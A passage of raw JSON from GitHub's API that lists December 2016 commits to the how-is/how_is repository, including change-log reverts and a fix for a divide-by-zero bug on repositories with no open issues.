back","tree":{"sha":"78ca1757c435402c37b865eedcbd4b4dc6917901","url":"https://api.github.com/repos/how-is/how_is/git/trees/78ca1757c435402c37b865eedcbd4b4dc6917901"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/2b78035d6c36cfba74d2ff0660a5933dde5f761c","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/2b78035d6c36cfba74d2ff0660a5933dde5f761c","html_url":"https://github.com/how-is/how_is/commit/2b78035d6c36cfba74d2ff0660a5933dde5f761c","comments_url":"https://api.github.com/repos/how-is/how_is/commits/2b78035d6c36cfba74d2ff0660a5933dde5f761c/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"8ca61d40a2f2a7f3ef42bcb26140543f1413e5fb","url":"https://api.github.com/repos/how-is/how_is/commits/8ca61d40a2f2a7f3ef42bcb26140543f1413e5fb","html_url":"https://github.com/how-is/how_is/commit/8ca61d40a2f2a7f3ef42bcb26140543f1413e5fb"}]},{"sha":"8ca61d40a2f2a7f3ef42bcb26140543f1413e5fb","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OGNhNjFkNDBhMmYyYTdmM2VmNDJiY2IyNjE0MDU0M2YxNDEzZTVmYg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-11T02:16:35Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-11T02:16:35Z"},"message":"Revert \"Revert \"Update change log to include #92.\"\"\n\nThis reverts commit 3d29022e1ebb1a8814b01ebb01856c81ec8e30bf.","tree":{"sha":"8dbeacd994a8e854c9b006f82fb7475145a09ae2","url":"https://api.github.com/repos/how-is/how_is/git/trees/8dbeacd994a8e854c9b006f82fb7475145a09ae2"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/8ca61d40a2f2a7f3ef42bcb26140543f1413e5fb","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/8ca61d40a2f2a7f3ef42bcb26140543f1413e5fb","html_url":"https://github.com/how-is/how_is/commit/8ca61d40a2f2a7f3ef42bcb26140543f1413e5fb","comments_url":"https://api.github.com/repos/how-is/how_is/commits/8ca61d40a2f2a7f3ef42bcb26140543f1413e5fb/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"3d29022e1ebb1a8814b01ebb01856c81ec8e30bf","url":"https://api.github.com/repos/how-is/how_is/commits/3d29022e1ebb1a8814b01ebb01856c81ec8e30bf","html_url":"https://github.com/how-is/how_is/commit/3d29022e1ebb1a8814b01ebb01856c81ec8e30bf"}]},{"sha":"3d29022e1ebb1a8814b01ebb01856c81ec8e30bf","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6M2QyOTAyMmUxZWJiMWE4ODE0YjAxZWJiMDE4NTZjODFlYzhlMzBiZg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-11T02:16:27Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-11T02:16:27Z"},"message":"Revert \"Update change log to include #92.\"\n\nThis reverts commit 747125ae06027e19bbb86e7dd40ff6d4d94e3487.","tree":{"sha":"55d5e8d85d383cfd5b4c9093e7308d48400e8d5d","url":"https://api.github.com/repos/how-is/how_is/git/trees/55d5e8d85d383cfd5b4c9093e7308d48400e8d5d"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/3d29022e1ebb1a8814b01ebb01856c81ec8e30bf","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/3d29022e1ebb1a8814b01ebb01856c81ec8e30bf","html_url":"https://github.com/how-is/how_is/commit/3d29022e1ebb1a8814b01ebb01856c81ec8e30bf","comments_url":"https://api.github.com/repos/how-is/how_is/commits/3d29022e1ebb1a8814b01ebb01856c81ec8e30bf/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"747125ae06027e19bbb86e7dd40ff6d4d94e3487","url":"https://api.github.com/repos/how-is/how_is/commits/747125ae06027e19bbb86e7dd40ff6d4d94e3487","html_url":"https://github.com/how-is/how_is/commit/747125ae06027e19bbb86e7dd40ff6d4d94e3487"}]},{"sha":"747125ae06027e19bbb86e7dd40ff6d4d94e3487","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NzQ3MTI1YWUwNjAyN2UxOWJiYjg2ZTdkZDQwZmY2ZDRkOTRlMzQ4Nw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-11T02:14:37Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-11T02:14:37Z"},"message":"Update change log to include #92.","tree":{"sha":"8dbeacd994a8e854c9b006f82fb7475145a09ae2","url":"https://api.github.com/repos/how-is/how_is/git/trees/8dbeacd994a8e854c9b006f82fb7475145a09ae2"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/747125ae06027e19bbb86e7dd40ff6d4d94e3487","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/747125ae06027e19bbb86e7dd40ff6d4d94e3487","html_url":"https://github.com/how-is/how_is/commit/747125ae06027e19bbb86e7dd40ff6d4d94e3487","comments_url":"https://api.github.com/repos/how-is/how_is/commits/747125ae06027e19bbb86e7dd40ff6d4d94e3487/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"7abb73d43aad33197a10e5ae5ca4bf1096a0c4b0","url":"https://api.github.com/repos/how-is/how_is/commits/7abb73d43aad33197a10e5ae5ca4bf1096a0c4b0","html_url":"https://github.com/how-is/how_is/commit/7abb73d43aad33197a10e5ae5ca4bf1096a0c4b0"}]},{"sha":"d0514db39e87b8056960a27e1561d0be9c1b693e","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZDA1MTRkYjM5ZTg3YjgwNTY5NjBhMjdlMTU2MWQwYmU5YzFiNjkzZQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-11T01:30:30Z"},"committer":{"name":"GitHub","email":"noreply@github.com","date":"2016-12-11T01:30:30Z"},"message":"Merge pull request #92 from how-is/issue-91\n\nFix divide by zero when a repo has no open issues.","tree":{"sha":"6a41bfdc365de4515588e34f5f5406b0b8ad0322","url":"https://api.github.com/repos/how-is/how_is/git/trees/6a41bfdc365de4515588e34f5f5406b0b8ad0322"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/d0514db39e87b8056960a27e1561d0be9c1b693e","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/d0514db39e87b8056960a27e1561d0be9c1b693e","html_url":"https://github.com/how-is/how_is/commit/d0514db39e87b8056960a27e1561d0be9c1b693e","comments_url":"https://api.github.com/repos/how-is/how_is/commits/d0514db39e87b8056960a27e1561d0be9c1b693e/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars3.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","site_admin":false},"parents":[{"sha":"63b8cf20ad8f0fb8ebbdcda0c7324fea238cba8c","url":"https://api.github.com/repos/how-is/how_is/commits/63b8cf20ad8f0fb8ebbdcda0c7324fea238cba8c","html_url":"https://github.com/how-is/how_is/commit/63b8cf20ad8f0fb8ebbdcda0c7324fea238cba8c"},{"sha":"2ae61fb190f7c4ee6b4bfdade1e0dd920e9bba77","url":"https://api.github.com/repos/how-is/how_is/commits/2ae61fb190f7c4ee6b4bfdade1e0dd920e9bba77","html_url":"https://github.com/how-is/how_is/commit/2ae61fb190f7c4ee6b4bfdade1e0dd920e9bba77"}]},{"sha":"2ae61fb190f7c4ee6b4bfdade1e0dd920e9bba77","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MmFlNjFmYjE5MGY3YzRlZTZiNGJmZGFkZTFlMGRkOTIwZTliYmE3Nw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-11T01:26:27Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-11T01:26:27Z"},"message":"Add data for spec.","tree":{"sha":"6a41bfdc365de4515588e34f5f5406b0b8ad0322","url":"https://api.github.com/repos/how-is/how_is/git/trees/6a41bfdc365de4515588e34f5f5406b0b8ad0322"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/2ae61fb190f7c4ee6b4bfdade1e0dd920e9bba77","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/2ae61fb190f7c4ee6b4bfdade1e0dd920e9bba77","html_url":"https://github.com/how-is/how_is/commit/2ae61fb190f7c4ee6b4bfdade1e0dd920e9bba77","comments_url":"https://api.github.com/repos/how-is/how_is/commits/2ae61fb190f7c4ee6b4bfdade1e0dd920e9bba77/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"ce658229f0702804b048f053c8c62f9101a6474d","url":"https://api.github.com/repos/how-is/how_is/commits/ce658229f0702804b048f053c8c62f9101a6474d","html_url":"https://github.com/how-is/how_is/commit/ce658229f0702804b048f053c8c62f9101a6474d"}]},{"sha":"ce658229f0702804b048f053c8c62f9101a6474d","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Y2U2NTgyMjlmMDcwMjgwNGIwNDhmMDUzYzhjNjJmOTEwMWE2NDc0ZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-11T01:18:19Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-11T01:18:19Z"},"message":"Use pre-existing methods instead of duplicating functionality.","tree":{"sha":"16fab9ba233bad5896113bad5647a3f3400d4ca2","url":"https://api.github.com/repos/how-is/how_is/git/trees/16fab9ba233bad5896113bad5647a3f3400d4ca2"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/ce658229f0702804b048f053c8c62f9101a6474d","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/ce658229f0702804b048f053c8c62f9101a6474d","html_url":"https://github.com/how-is/how_is/commit/ce658229f0702804b048f053c8c62f9101a6474d","comments_url":"https://api.github.com/repos/how-is/how_is/commits/ce658229f0702804b048f053c8c62f9101a6474d/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"909fc87ef6be42b32a19442a92e29d1aac35e1ea","url":"https://api.github.com/repos/how-is/how_is/commits/909fc87ef6be42b32a19442a92e29d1aac35e1ea","html_url":"https://github.com/how-is/how_is/commit/909fc87ef6be42b32a19442a92e29d1aac35e1ea"}]},{"sha":"909fc87ef6be42b32a19442a92e29d1aac35e1ea","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6OTA5ZmM4N2VmNmJlNDJiMzJhMTk0NDJhOTJlMjlkMWFhYzM1ZTFlYQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-11T01:07:20Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-11T01:08:50Z"},"message":"Actually return @r where it''s needed.","tree":{"sha":"f0d4452b02aa354ed5082ff09d0442662ecdbd28","url":"https://api.github.com/repos/how-is/how_is/git/trees/f0d4452b02aa354ed5082ff09d0442662ecdbd28"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/909fc87ef6be42b32a19442a92e29d1aac35e1ea","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/909fc87ef6be42b32a19442a92e29d1aac35e1ea","html_url":"https://github.com/how-is/how_is/commit/909fc87ef6be42b32a19442a92e29d1aac35e1ea","comments_url":"https://api.github.com/repos/how-is/how_is/commits/909fc87ef6be42b32a19442a92e29d1aac35e1ea/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"102b56e04c6ed669d497426de9f609e6ee8ebeba","url":"https://api.github.com/repos/how-is/how_is/commits/102b56e04c6ed669d497426de9f609e6ee8ebeba","html_url":"https://github.com/how-is/how_is/commit/102b56e04c6ed669d497426de9f609e6ee8ebeba"}]},{"sha":"102b56e04c6ed669d497426de9f609e6ee8ebeba","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MTAyYjU2ZTA0YzZlZDY2OWQ0OTc0MjZkZTlmNjA5ZTZlZThlYmViYQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-09T06:17:46Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-09T06:17:46Z"},"message":"Check if data is actually passed to horizontal_bar_graph().","tree":{"sha":"02d1ad7b84a3fb043bb8e1f5d21806c1ef71b340","url":"https://api.github.com/repos/how-is/how_is/git/trees/02d1ad7b84a3fb043bb8e1f5d21806c1ef71b340"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/102b56e04c6ed669d497426de9f609e6ee8ebeba","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/102b56e04c6ed669d497426de9f609e6ee8ebeba","html_url":"https://github.com/how-is/how_is/commit/102b56e04c6ed669d497426de9f609e6ee8ebeba","comments_url":"https://api.github.com/repos/how-is/how_is/commits/102b56e04c6ed669d497426de9f609e6ee8ebeba/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"6f62d65070578c516f76279473fb5483d208a1e7","url":"https://api.github.com/repos/how-is/how_is/commits/6f62d65070578c516f76279473fb5483d208a1e7","html_url":"https://github.com/how-is/how_is/commit/6f62d65070578c516f76279473fb5483d208a1e7"}]},{"sha":"6f62d65070578c516f76279473fb5483d208a1e7","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NmY2MmQ2NTA3MDU3OGM1MTZmNzYyNzk0NzNmYjU0ODNkMjA4YTFlNw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-09T05:55:35Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-12-09T05:55:35Z"},"message":"Beginning of test for report with no PRs/issues.","tree":{"sha":"cefaf80eadc7e38fc6e4b8aeb455fd4e3501bda1","url":"https://api.github.com/repos/how-is/how_is/git/trees/cefaf80eadc7e38fc6e4b8aeb455fd4e3501bda1"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/6f62d65070578c516f76279473fb5483d208a1e7","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/6f62d65070578c516f76279473fb5483d208a1e7","html_url":"https://github.com/how-is/how_is/commit/6f62d65070578c516f76279473fb5483d208a1e7","comments_url":"https://api.github.com/repos/how-is/how_is/commits/6f62d65070578c516f76279473fb5483d208a1e7/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"63b8cf20ad8f0fb8ebbdcda0c7324fea238cba8c","url":"https://api.github.com/repos/how-is/how_is/commits/63b8cf20ad8f0fb8ebbdcda0c7324fea238cba8c","html_url":"h